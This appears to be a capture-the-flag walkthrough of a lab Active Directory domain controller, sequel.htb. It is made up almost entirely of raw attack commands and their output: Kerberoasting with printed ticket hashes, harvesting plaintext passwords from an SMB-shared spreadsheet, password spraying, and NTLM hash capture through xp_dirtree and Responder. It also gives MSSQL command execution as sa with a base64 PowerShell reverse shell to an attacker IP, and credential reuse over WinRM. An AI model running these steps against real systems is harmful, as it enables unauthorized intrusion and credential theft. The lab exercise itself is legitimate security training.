Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
kevin@sequel.htb / Md9Wlq1E5bZnVDVo









❯ export IP=10.10.11.51
❯ iRecon "$IP"❯ nxc ldap "$IP"
LDAP 10.10.11.51 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
❯ ldapsearch -x -H ldap://"$IP" -s base | grep defaultNamingContext
defaultNamingContext: DC=sequel,DC=htb❯ echo '10.10.11.51 DC01.sequel.htb DC01 sequel.htb' | sudo tee -a /etc/hosts
10.10.11.51 DC01.sequel.htb DC01 sequel.htb❯ nxc ldap "$IP" -u 'rose' -p 'KxEPkKe6R8su'
LDAP 10.10.11.51 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
LDAP 10.10.11.51 389 DC01 [+] sequel.htb\rose:KxEPkKe6R8su ❯ nxc ldap "$IP" -u 'rose' -p 'KxEPkKe6R8su' --kerberoasting hashes.txt
LDAP 10.10.11.51 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
LDAP 10.10.11.51 389 DC01 [+] sequel.htb\rose:KxEPkKe6R8su
LDAP 10.10.11.51 389 DC01 [*] Skipping disabled account: krbtgt
LDAP 10.10.11.51 389 DC01 [*] Total of records returned 2
LDAP 10.10.11.51 389 DC01 [*] sAMAccountName: ca_svc, memberOf: CN=Cert Publishers,CN=Users,DC=sequel,DC=htb, pwdLastSet: 2025-05-24 14:47:35.080394, lastLogon: 2025-05-24 12:34:48.313440
LDAP 10.10.11.51 389 DC01 $krb5tgs$23$*ca_svc$SEQUEL.HTB$sequel.htb\ca_svc*$580c6bce2731f7ab7c30c2b963c6033c$32d2a099c31669365c3c71e99003effeb9385a68515fbac3812e33680076854780a516b66f99fa837963d285753c7858afacbe00058e9d1e8269d4487e0e7792fb950decd287621e93c38dcd14caf30b7db03d6a143199d4513b50e7da92ad65e36a2651a1a27b15916e6b34eb6ad5aad3b480a044aa5f5d7226d0f81b8acee63ecf1eb9acbab3f1e43d74ddcde6fa5be2784a6af5190bc2185485dc65e303caef67f419b6b01b083f6c86949526b84cb60c0f891e436353b88a3343709cc499324fff28806da74ae6f061cabeb08f702f1ff035bf5c2856f9c43b42f7ad8620786ab8e70b0855b441af060258288b5c40f92358842814a0139e4ae4b04c732451306257bef329cfcfe99d87938e0259ae761e31f72e1aa7f62566444f6fc4c82e996b8d5d03ea088121cadbf0eac08e1db698f77c8e89bd822426338fcfc55a9c3b719e4f87610caf315c1f3dfaed3092a0ba9f272a01c6d0bdcae4cf6ef6461a0346edc8b6280a910c4593a507c307c0122de0d93183bf44901e06eae3e4f39a0644bdb3bf97580a627f3a526334046e2abed4c59dcc9421f4e3afb60689ccf010df1422e5489f89e8a851179f3609cabcab632f33ae7aef790c651f5a73402f44d106ee044123b1945704979e7f4f208cc4371d65d718101901eb728826cf61390c73d06ab7f73f9601b202804a10391370d932f287419b1885a97c18e3a5b07a382f81d92a923dd0ff6aa83a341b12dd2a90761d74722ca0a56d294f37321fd9e86f96021de976b6b04426f02c505491c0fddd92cb058b5af180bdee3ed902b0aba7ffeaba9b8651ae4e904fd77eb640182cd98e75356b8c26f97404739d93042d3725f2b259b48fa1f16388529ec0f10c9d1be182615dd64466e9d66c3bbe14454423887dc462fb581e0959bcef125771cd440c81afcebabc30eb98f5b995797fe1fa6fba18657bcf7dea5fc2503b69fb3b883f507618c9287826555c2f6dcdff23beec2f2edc9a3f939578c77e1ef8f5f863e81063e812dfb7bb5cc40c70f9ff1a5214e52dc102ff149fce3ccb337d1529244d9ec436bd90e845f1be679faf89daa7530a321d023b73ad1e4f1c0529c89e960ee78d8192481fa66f89d5962a9f9ab52ba6178868083388876c4306744de61c0d5ebd8ef3afafc074020e2ee78ec2192f8b30d695ddaa2cd30038770ac2343308a6a252afcf421d6ae8db9835e15b63d835b22ac45bf9856b1a677f23e1f88d3f1bf57bd3c6852c64257bf83595d3e50d1e0a4a35f113ad5bd07a0be2b4fc4d5df9feb80a5809c46d5cf8dbcd8054e4db997b7586031b8167192e8c9e9292cee13c3692be02db52b42ca41ddb76a97318f2fde90582da074359b70493bb555bb6994d7494e0901887b3678b7405c118189055ee953d3c99957b
LDAP 10.10.11.51 389 DC01 [*] sAMAccountName: sql_svc, memberOf: ['CN=SQLRUserGroupSQLEXPRESS,CN=Users,DC=sequel,DC=htb', 'CN=SQLServer2005SQLBrowserUser$DC01,CN=Users,DC=sequel,DC=htb'], pwdLastSet: 2024-06-09 09:58:42.689521, lastLogon: 2025-05-24 12:29:35.499497
LDAP 10.10.11.51 389 DC01 $krb5tgs$23$*sql_svc$SEQUEL.HTB$sequel.htb\sql_svc*$9eb49c7251a7a27d186af2fd68cedb0f$387f6857e3f6f5a26e3b227b590fa93f55708568959afa9b1f61e990e0e26c7a4d25b8a599b7f8d43c5e6ef2dcb35b5542f97dcb5db535068f1c8addcdc86a8fb5e500c599051db8e3316c13c4274513caf055b881b912fcbe2fdc7d3d3d5d6d479558d22f1f6853fad9d1df52ad9bff42e67e4ff9be4bd367a8232f7d2ae97d744ec7ddd70859e969326d7e7fc70d13847ebfd39a9b84f7b170e40a294f277c8b8d32b739c61e2b00ee12c3cd1c7c64ceb9fafd363c1893ec43403aa3ceaf4de671af3d3415d8f3edd99d3f025112efd4d1a4702fdae13b2292218430fd585c5ed7e5e044caad050d64acf831046994b0e7e9c44b8db1302e99dee0d8bfd24778f48d7ecabbbac082d136386b9c8fe981c90e542fcfadf25f1db43a2accb10fdabfd03c3c98c9674b366b01e8c19f341602cf789dac22a34c21838c38fd0fcd213c753cead66c31cabb401e35fd83a4154cf913970aeeeddf10f0497466d4e300b47929fecdbc3fbb3399a1f2f61d789b3fa2952f545db4c6fbff2d33f98439abe1423e7872249600c2f1923931ed4e873e1b5d4ab3597e734504c52d9fc9009ba980a3c26f3eaee7eec26ad9fb0a57ca3d010e31bd41d383e93df5f001773bdb288fd59cf290f26421eae2dbca99c4fc44d1bc24bca164d194dd267fea162aa09807ce603c6b39c0f4e7ddf3d87647939aa8c4eb4b4f8a647091137b31b7956be89e8807cbe12f635bec9f80c2104ef2a1b1f650f070054016f85aa73fc1286837b6bdc8e7dfb757fee99f9cef31491ddc919d51c65c5c9fca63ccaef8a16e1b9fd69d1b26bfff65ad34ef027d625e92b3b2c70fe6c5141622567dd6efbb8f3a33ec44a41544889aa111c891308b1de6bc78a9ec8c6874f4d3c8284f841cd93531082ae6250268bcd0af98d97750ab1920eea71115814d878d8ff6ee04cf91bba0ffcf9b13b72fb949942034267ff7ed642242fcde36b37a5d8bda3f253919f7db5158ea94ac8ab74b26226006e49d5a6e7ee74da71e8ee1100d4a66fba99dcb2547a9936e105d65270a0248480667957ec4c950046635546245b66ab62c32052cd7ff8504b7727a712198ccfc001ae60d8731015abde519c15d26cb04e1ee0d50072aa7c6dfa37c5a87f2faf248126dd47d8cac0cae68f8d63a69d3981081833c18f45e83b8e5d9134e9aec6d02f093573f949591e51031bea381c617f860bd62fc1fd644811c5684d65a98489e8d4e9d723e97701e3a25fab72aade5fb69852173eee672e3c7a5347c831855c133b681e1d442f8abc2e1c825396db3f2d88c92c0cb1f6ceab9f1d77f2df16a08421038f778265ed149ecc20d6cad220b1119802670cc0730bd3d10b7ab3ad480ff3bfc06ece3e8bb4fe4bf57585f37a1cdafe6fb4825fdb483036d06b5eae006❯ hashcat -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #1: cpu-skylake-avx512-11th Gen Intel(R) Core(TM) i5-1135G7 @ 2.40GHz, 2898/5861 MB (1024 MB allocatable), 8MCU
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
13100 | Kerberos 5, etype 23, TGS-REP | Network Protocol
...[SNIP]...
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: hashes.txt
Time.Started.....: Sat May 24 14:51:12 2025 (3 mins, 4 secs)
Time.Estimated...: Sat May 24 14:54:16 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 1493.8 kH/s (1.58ms) @ Accel:512 Loops:1 Thr:1 Vec:16
Recovered........: 0/16 (0.00%) Digests (total), 0/16 (0.00%) Digests (new), 0/16 (0.00%) Salts
Progress.........: 229510208/229510208 (100.00%)
Rejected.........: 0/229510208 (0.00%)
Restore.Point....: 14344388/14344388 (100.00%)
Restore.Sub.#1...: Salt:15 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: louise84 -> But_Lying_Aid9!
Hardware.Mon.#1..: Util: 62%
Started: Sat May 24 14:51:04 2025
Stopped: Sat May 24 14:54:17 2025❯ nxc ldap "$IP" -u 'rose' -p 'KxEPkKe6R8su' --users | tail -n +5 | awk '{print $5}'
Administrator
Guest
krbtgt
michael
ryan
oscar
sql_svc
rose
ca_svc
❯ nxc ldap "$IP" -u 'rose' -p 'KxEPkKe6R8su' --users | tail -n +5 | awk '{print $5}' > users.txt❯ nxc ldap "$IP" -u users.txt -p '' --asreproast hashes.txt
LDAP 10.10.11.51 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)❯ nxc smb "$IP" -u 'rose' -p 'KxEPkKe6R8su' --shares
SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.51 445 DC01 [+] sequel.htb\rose:KxEPkKe6R8su
SMB 10.10.11.51 445 DC01 [*] Enumerated shares
SMB 10.10.11.51 445 DC01 Share Permissions Remark
SMB 10.10.11.51 445 DC01 ----- ----------- ------
SMB 10.10.11.51 445 DC01 Accounting Department READ
SMB 10.10.11.51 445 DC01 ADMIN$ Remote Admin
SMB 10.10.11.51 445 DC01 C$ Default share
SMB 10.10.11.51 445 DC01 IPC$ READ Remote IPC
SMB 10.10.11.51 445 DC01 NETLOGON READ Logon server share
SMB 10.10.11.51 445 DC01 SYSVOL READ Logon server share
SMB 10.10.11.51 445 DC01 Users READ ❯ nxc smb "$IP" -u 'rose' -p 'KxEPkKe6R8su' -M spider_plus
SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.51 445 DC01 [+] sequel.htb\rose:KxEPkKe6R8su
SPIDER_PLUS 10.10.11.51 445 DC01 [*] Started module spidering_plus with the following options:
SPIDER_PLUS 10.10.11.51 445 DC01 [*] DOWNLOAD_FLAG: False
SPIDER_PLUS 10.10.11.51 445 DC01 [*] STATS_FLAG: True
SPIDER_PLUS 10.10.11.51 445 DC01 [*] EXCLUDE_FILTER: ['print$', 'ipc$']
SPIDER_PLUS 10.10.11.51 445 DC01 [*] EXCLUDE_EXTS: ['ico', 'lnk']
SPIDER_PLUS 10.10.11.51 445 DC01 [*] MAX_FILE_SIZE: 50 KB
SPIDER_PLUS 10.10.11.51 445 DC01 [*] OUTPUT_FOLDER: /home/gzzcoo/.nxc/modules/nxc_spider_plus
SMB 10.10.11.51 445 DC01 [*] Enumerated shares
SMB 10.10.11.51 445 DC01 Share Permissions Remark
SMB 10.10.11.51 445 DC01 ----- ----------- ------
SMB 10.10.11.51 445 DC01 Accounting Department READ
SMB 10.10.11.51 445 DC01 ADMIN$ Remote Admin
SMB 10.10.11.51 445 DC01 C$ Default share
SMB 10.10.11.51 445 DC01 IPC$ READ Remote IPC
SMB 10.10.11.51 445 DC01 NETLOGON READ Logon server share
SMB 10.10.11.51 445 DC01 SYSVOL READ Logon server share
SMB 10.10.11.51 445 DC01 Users READ
SPIDER_PLUS 10.10.11.51 445 DC01 [+] Saved share-file metadata to "/home/gzzcoo/.nxc/modules/nxc_spider_plus/10.10.11.51.json".
SPIDER_PLUS 10.10.11.51 445 DC01 [*] SMB Shares: 7 (Accounting Department, ADMIN$, C$, IPC$, NETLOGON, SYSVOL, Users)
SPIDER_PLUS 10.10.11.51 445 DC01 [*] SMB Readable Shares: 5 (Accounting Department, IPC$, NETLOGON, SYSVOL, Users)
SPIDER_PLUS 10.10.11.51 445 DC01 [*] SMB Filtered Shares: 1
SPIDER_PLUS 10.10.11.51 445 DC01 [*] Total folders found: 76
SPIDER_PLUS 10.10.11.51 445 DC01 [*] Total files found: 55
SPIDER_PLUS 10.10.11.51 445 DC01 [*] File size average: 28.69 KB
SPIDER_PLUS 10.10.11.51 445 DC01 [*] File size min: 0 B
SPIDER_PLUS 10.10.11.51 445 DC01 [*] File size max: 512 KB❯ cat /home/gzzcoo/.nxc/modules/nxc_spider_plus/10.10.11.51.json | jq
{
"Accounting Department": {
"accounting_2024.xlsx": {
"atime_epoch": "2024-06-09 12:50:41",
"ctime_epoch": "2024-06-09 11:45:02",
"mtime_epoch": "2024-06-09 13:11:31",
"size": "9.98 KB"
},
"accounts.xlsx": {
"atime_epoch": "2024-06-09 12:52:21",
"ctime_epoch": "2024-06-09 12:52:07",
"mtime_epoch": "2024-06-09 13:11:31",
"size": "6.62 KB"
}
},
"NETLOGON": {},
"SYSVOL": {
...[SNIP]...
},
"Users": {
"Default/AppData/Local/Microsoft/Windows Sidebar/settings.ini": {
"atime_epoch": "2018-09-15 09:16:48",
"ctime_epoch": "2018-09-15 09:16:48",
"mtime_epoch": "2024-06-09 04:28:00",
"size": "80 B"
},
...[SNIP]...
}❯ nxc smb "$IP" -u 'rose' -p 'KxEPkKe6R8su' --share 'Accounting Department' --get-file 'accounting_2024.xlsx' 'accounting_2024.xlsx'
SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.51 445 DC01 [+] sequel.htb\rose:KxEPkKe6R8su
SMB 10.10.11.51 445 DC01 [*] Copying "accounting_2024.xlsx" to "accounting_2024.xlsx"
SMB 10.10.11.51 445 DC01 [+] File "accounting_2024.xlsx" was downloaded to "accounting_2024.xlsx"
❯ nxc smb "$IP" -u 'rose' -p 'KxEPkKe6R8su' --share 'Accounting Department' --get-file 'accounts.xlsx' 'accounts.xlsx'
SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.51 445 DC01 [+] sequel.htb\rose:KxEPkKe6R8su
SMB 10.10.11.51 445 DC01 [*] Copying "accounts.xlsx" to "accounts.xlsx"
SMB 10.10.11.51 445 DC01 [+] File "accounts.xlsx" was downloaded to "accounts.xlsx"❯ unzip accounts.xlsx
Archive: accounts.xlsx
file #1: bad zipfile offset (local header sig): 0
inflating: xl/workbook.xml
inflating: xl/theme/theme1.xml
inflating: xl/styles.xml
inflating: xl/worksheets/_rels/sheet1.xml.rels
inflating: xl/worksheets/sheet1.xml
inflating: xl/sharedStrings.xml
inflating: _rels/.rels
inflating: docProps/core.xml
inflating: docProps/app.xml
inflating: docProps/custom.xml
inflating: [Content_Types].xml ❯ cat xl/sharedStrings.xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="25" uniqueCount="24"><si><t xml:space="preserve">First Name</t></si><si><t xml:space="preserve">Last Name</t></si><si><t xml:space="preserve">Email</t></si><si><t xml:space="preserve">Username</t></si><si><t xml:space="preserve">Password</t></si><si><t xml:space="preserve">Angela</t></si><si><t xml:space="preserve">Martin</t></si><si><t xml:space="preserve">angela@sequel.htb</t></si><si><t xml:space="preserve">angela</t></si><si><t xml:space="preserve">0fwz7Q4mSpurIt99</t></si><si><t xml:space="preserve">Oscar</t></si><si><t xml:space="preserve">Martinez</t></si><si><t xml:space="preserve">oscar@sequel.htb</t></si><si><t xml:space="preserve">oscar</t></si><si><t xml:space="preserve">86LxLBMgEWaKUnBG</t></si><si><t xml:space="preserve">Kevin</t></si><si><t xml:space="preserve">Malone</t></si><si><t xml:space="preserve">kevin@sequel.htb</t></si><si><t xml:space="preserve">kevin</t></si><si><t xml:space="preserve">Md9Wlq1E5bZnVDVo</t></si><si><t xml:space="preserve">NULL</t></si><si><t xml:space="preserve">sa@sequel.htb</t></si><si><t xml:space="preserve">sa</t></si><si><t xml:space="preserve">MSSQLP@ssw0rd!</t></si></sst>❯ echo -e 'angela\nkevin\nsa' >> users.txt
❯ echo -e '0fwz7Q4mSpurIt99\n86LxLBMgEWaKUnBG\nMd9Wlq1E5bZnVDVo\nMSSQLP@ssw0rd!' > passwords.txt❯ nxc ldap "$IP" -u users.txt -p passwords.txt --continue-on-success | grep -v '[-]'
LDAP 10.10.11.51 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
LDAP 10.10.11.51 389 DC01 [+] sequel.htb\oscar:86LxLBMgEWaKUnBG ❯ nxc smb "$IP" -u 'oscar' -p '86LxLBMgEWaKUnBG' --shares
SMB 10.10.11.51 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.51 445 DC01 [+] sequel.htb\oscar:86LxLBMgEWaKUnBG
SMB 10.10.11.51 445 DC01 [*] Enumerated shares
SMB 10.10.11.51 445 DC01 Share Permissions Remark
SMB 10.10.11.51 445 DC01 ----- ----------- ------
SMB 10.10.11.51 445 DC01 Accounting Department READ
SMB 10.10.11.51 445 DC01 ADMIN$ Remote Admin
SMB 10.10.11.51 445 DC01 C$ Default share
SMB 10.10.11.51 445 DC01 IPC$ READ Remote IPC
SMB 10.10.11.51 445 DC01 NETLOGON READ Logon server share
SMB 10.10.11.51 445 DC01 SYSVOL READ Logon server share
SMB 10.10.11.51 445 DC01 Users READ ❯ nxc mssql "$IP" -u 'rose' -p 'KxEPkKe6R8su'
MSSQL 10.10.11.51 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
MSSQL 10.10.11.51 1433 DC01 [+] sequel.htb\rose:KxEPkKe6R8su
❯ nxc mssql "$IP" -u 'oscar' -p '86LxLBMgEWaKUnBG'
MSSQL 10.10.11.51 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
MSSQL 10.10.11.51 1433 DC01 [+] sequel.htb\oscar:86LxLBMgEWaKUnBG ❯ sudo responder -I tun0 -v
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.5.0
To support this project:
Github -> https://github.com/sponsors/lgandx
Paypal -> https://paypal.me/PythonResponder
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
MDNS [ON]
DNS [ON]
DHCP [OFF]
...[SNIP]...
[+] Listening for events...❯ nxc mssql "$IP" -u 'rose' -p 'KxEPkKe6R8su' -q 'EXEC Master.dbo.xp_dirtree"\\10.10.16.3\x",1,1;'
MSSQL 10.10.11.51 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
MSSQL 10.10.11.51 1433 DC01 [+] sequel.htb\rose:KxEPkKe6R8su ❯ sudo responder -I tun0 -v
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.5.0
To support this project:
Github -> https://github.com/sponsors/lgandx
Paypal -> https://paypal.me/PythonResponder
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
MDNS [ON]
DNS [ON]
DHCP [OFF]
...[SNIP]...
[+] Listening for events...
[SMB] NTLMv2-SSP Client : 10.10.11.51
[SMB] NTLMv2-SSP Username : SEQUEL\sql_svc
[SMB] NTLMv2-SSP Hash : sql_svc::SEQUEL:9506f7e759857139:C532F79FF03759099BA26BDBED065CE0:010100000000000080FC2ACAC5CCDB016382748422F037540000000002000800440043003800340001001E00570049004E002D004800430036004D004B0035005200570034003200500004003400570049004E002D004800430036004D004B003500520057003400320050002E0044004300380034002E004C004F00430041004C000300140044004300380034002E004C004F00430041004C000500140044004300380034002E004C004F00430041004C000700080080FC2ACAC5CCDB010600040002000000080030003000000000000000000000000030000053277A0666E4230BF74AC3402F8FC7D366F4C020CAD0CEA59439BAB9493EDF020A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310036002E0033000000000000000000❯ nxc mssql "$IP" -u 'sa' -p 'MSSQLP@ssw0rd!'
MSSQL 10.10.11.51 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
MSSQL 10.10.11.51 1433 DC01 [-] sequel.htb\sa:MSSQLP@ssw0rd! (Login failed. The login is from an untrusted domain and cannot be used with Integrated authentication. Please try again with or without '--local-auth')
❯ nxc mssql "$IP" -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth
MSSQL 10.10.11.51 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
MSSQL 10.10.11.51 1433 DC01 [+] DC01\sa:MSSQLP@ssw0rd! (Pwn3d!)❯ nxc mssql "$IP" -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth -x 'whoami'
MSSQL 10.10.11.51 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
MSSQL 10.10.11.51 1433 DC01 [+] DC01\sa:MSSQLP@ssw0rd! (Pwn3d!)
MSSQL 10.10.11.51 1433 DC01 [+] Executed command via mssqlexec
MSSQL 10.10.11.51 1433 DC01 sequel\sql_svc❯ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...❯ nxc mssql "$IP" -u 'sa' -p 'MSSQLP@ssw0rd!' --local-auth -x 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMwAiACwANAA0ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA'
MSSQL 10.10.11.51 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
MSSQL 10.10.11.51 1433 DC01 [+] DC01\sa:MSSQLP@ssw0rd! (Pwn3d!)
MSSQL 10.10.11.51 1433 DC01 [+] Executed command via mssqlexec❯ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.51] 50022
PS C:\Windows\system32> whoami
sequel\sql_svcPS C:\SQL2019\ExpressAdv_ENU> type sql-Configuration.INI
[OPTIONS]
ACTION="Install"
QUIET="True"
FEATURES=SQL
INSTANCENAME="SQLEXPRESS"
INSTANCEID="SQLEXPRESS"
RSSVCACCOUNT="NT Service\ReportServer$SQLEXPRESS"
AGTSVCACCOUNT="NT AUTHORITY\NETWORK SERVICE"
AGTSVCSTARTUPTYPE="Manual"
COMMFABRICPORT="0"
COMMFABRICNETWORKLEVEL=""0"
COMMFABRICENCRYPTION="0"
MATRIXCMBRICKCOMMPORT="0"
SQLSVCSTARTUPTYPE="Automatic"
FILESTREAMLEVEL="0"
ENABLERANU="False"
SQLCOLLATION="SQL_Latin1_General_CP1_CI_AS"
SQLSVCACCOUNT="SEQUEL\sql_svc"
SQLSVCPASSWORD="WqSZAF6CysDQbGb3"
SQLSYSADMINACCOUNTS="SEQUEL\Administrator"
SECURITYMODE="SQL"
SAPWD="MSSQLP@ssw0rd!"
ADDCURRENTUSERASSQLADMIN="False"
TCPENABLED="1"
NPENABLED="1"
BROWSERSVCSTARTUPTYPE="Automatic"
IAcceptSQLServerLicenseTerms=True❯ nxc ldap "$IP" -u 'sql_svc' -p 'WqSZAF6CysDQbGb3'
LDAP 10.10.11.51 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
LDAP 10.10.11.51 389 DC01 [+] sequel.htb\sql_svc:WqSZAF6CysDQbGb3 ❯ nxc ldap "$IP" -u users.txt -p 'WqSZAF6CysDQbGb3' --continue-on-success | grep -v '[-]'
LDAP 10.10.11.51 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
LDAP 10.10.11.51 389 DC01 [+] sequel.htb\ryan:WqSZAF6CysDQbGb3
LDAP 10.10.11.51 389 DC01 [+] sequel.htb\sql_svc:WqSZAF6CysDQbGb3 ❯ nxc winrm "$IP" -u 'ryan' -p 'WqSZAF6CysDQbGb3'
WINRM 10.10.11.51 5985 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
WINRM 10.10.11.51 5985 DC01 [+] sequel.htb\ryan:WqSZAF6CysDQbGb3 (Pwn3d!)❯ nxc winrm "$IP" -u 'ryan' -p 'WqSZAF6CysDQbGb3' -X 'type C:\Users\ryan\Desktop\user.txt'
WINRM 10.10.11.51 5985 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb)
WINRM 10.10.11.51 5985 DC01 [+] sequel.htb\ryan:WqSZAF6CysDQbGb3 (Pwn3d!)
WINRM 10.10.11.51 5985 DC01 [+] Executed command (shell type: powershell)
WINRM 10.10.11.51 5985 DC01 37723********************01a663b❯ rusthound -d sequel.htb -i "$IP" -u 'ryan@sequel.htb' -p 'WqSZAF6CysDQbGb3' -z --adcs --old-bloodhound
---------------------------------------------------
Initializing RustHound at 03:55:50 on 05/24/25
Powered by g0h4n from OpenCyber
---------------------------------------------------
[2025-05-24T01:55:50Z INFO rusthound] Verbosity level: Info
[2025-05-24T01:55:51Z INFO rusthound::ldap] Connected to SEQUEL.HTB Active Directory!
[2025-05-24T01:55:51Z INFO rusthound::ldap] Starting data collection...
